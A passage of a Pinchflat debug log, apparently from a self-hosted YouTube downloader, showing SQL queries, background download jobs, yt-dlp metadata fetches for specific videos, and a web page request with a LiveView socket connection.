making future episodes more awesome❤️", "duration" => 1533, "filename" => "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", "id" => "L4p2gN2CzsA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=L4p2gN2CzsA", "playlist_index" => 5, "timestamp" => 1750456808, "title" => "THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled", "upload_date" => "20250620"} 20:48:42.151 [debug] QUERY OK source="sources" db=0.1ms idle=453.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:42.152 [debug] QUERY OK source="sources" db=0.0ms idle=452.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:42.152 [debug] QUERY OK source="media_items" db=0.0ms idle=452.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-20 22:00:08Z], 2] 20:48:42.152 [debug] QUERY OK source="media_items" db=0.2ms idle=453.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["We aren't actually sure what this episode is about.\nBUT HEY ALL NEW SPECIAL EDITION Digital Circus plushies, Mini-Figures and more - all 15% OFF for only THE NEXT 2 WEEKS!: https://digitalcircus.store \nIf you buy 2 individual Animiniz figurines, you get 50% off your third one!!!\nAll proceeds go into making future episodes more awesome❤️", "THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled", "5e76518c-4491-4986-95b9-a4b67e08857d", "https://www.youtube.com/watch?v=L4p2gN2CzsA", false, "L4p2gN2CzsA", 1533, false, 5, "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", false, false, 2, [], 0, ~U[2025-06-20 22:00:08Z], ~U[2026-03-28 00:48:42Z], ~U[2026-03-28 00:48:42Z], "We aren't actually sure what this episode is about.\nBUT HEY ALL NEW SPECIAL EDITION Digital Circus plushies, Mini-Figures and more - all 15% OFF for only THE NEXT 2 WEEKS!: https://digitalcircus.store \nIf you buy 2 individual Animiniz figurines, you get 50% off your third one!!!\nAll proceeds go into making future episodes more awesome❤️", "THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled", "https://www.youtube.com/watch?v=L4p2gN2CzsA", "L4p2gN2CzsA", 1533, false, "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", false, 2, ~U[2025-06-20 22:00:08Z]] 20:48:42.153 [debug] QUERY OK source="sources" db=0.0ms idle=26.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:42.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:42.153 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [73] 20:48:42.153 [info] Kicking off download for media item #73 (L4p2gN2CzsA) 20:48:42.154 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [78, 73, ~U[2026-03-28 00:48:42Z], ~U[2026-03-28 00:48:42Z]] 20:48:42.154 [debug] Current batch of media processed. Will check again in 1000ms 20:48:42.700 [debug] Current batch of media processed. Will check again in 1000ms 20:48:42.885 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/b4/a0/b4a0342df3431aab37dfe8db9b1458fbd56ebbb84b4ab8bfc1df950e1d4988ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:42.886 [debug] QUERY OK db=0.0ms idle=732.9ms begin [] 20:48:42.886 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 00:48:40Z], "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", ~U[2026-03-28 00:48:42Z], 1] 20:48:42.887 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/1/metadata.json.gz", "/config/metadata/media_items/1/thumbnail.jpg", 1, ~U[2026-03-28 00:48:42Z], ~U[2026-03-28 00:48:42Z]] 20:48:42.887 [debug] QUERY OK db=0.0ms commit [] 20:48:42.888 [debug] QUERY OK source="media_items" db=0.5ms idle=734.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [370940963, ~U[2026-03-28 00:48:42Z], 1] 20:48:42.888 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:48:42.888 [info] {"args":{"id":1},"id":4,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":114907625,"event":"job:stop","queue_time":979470,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:48:42.894 [info] {"args":{"id":3},"id":6,"meta":{},"system_time":1774658922894767091,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:48:42.895 [debug] QUERY OK source="media_items" db=0.1ms idle=740.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 20:48:42.895 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:48:42.895 [debug] QUERY OK source="sources" db=0.0ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:42.895 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:42.895 [debug] QUERY OK source="media_items" db=0.1ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 20:48:42.895 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [3] 20:48:42.896 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:42.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:42.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:42.896 [debug] Running yt-dlp command for action: get_downloadable_status 20:48:42.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:42.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:42.896 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:42.896 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=gn8w1oGCc6o --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/67/d9/67d9f14eac851890c3f6b743d74394c32a420bbcc4b7e4bcf794a16bf7507451.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:43.154 [debug] Current batch of media processed. Will check again in 1000ms 20:48:43.398 [info] GET /sources 20:48:43.398 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:48:43.399 [debug] QUERY OK source="settings" db=0.1ms idle=503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:43.399 [debug] QUERY OK source="settings" db=0.0ms idle=503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:43.400 [debug] QUERY OK source="settings" db=0.1ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:43.400 [debug] QUERY OK source="settings" db=0.0ms idle=503.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:43.400 [debug] QUERY OK source="settings" db=0.0ms idle=273.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:43.401 [debug] QUERY OK source="sources" db=0.5ms idle=1.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:43.402 [debug] QUERY OK source="sources" db=1.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:43.403 [info] Sent 200 in 4ms 20:48:43.474 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PyA2ACIfOxtiHlsxIDorBkMoUl1dAkAGTGdcLzBw2-kFxvDEqkeljU6k", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:43.539 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 20:48:43.540 [debug] QUERY OK source="sources" db=0.4ms idle=139.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:48:43.541 [debug] QUERY OK source="sources" db=0.7ms idle=140.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:48:43.541 [debug] Replied in 1ms 20:48:43.542 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:43.542 [debug] Replied in 53µs 20:48:43.701 [debug] 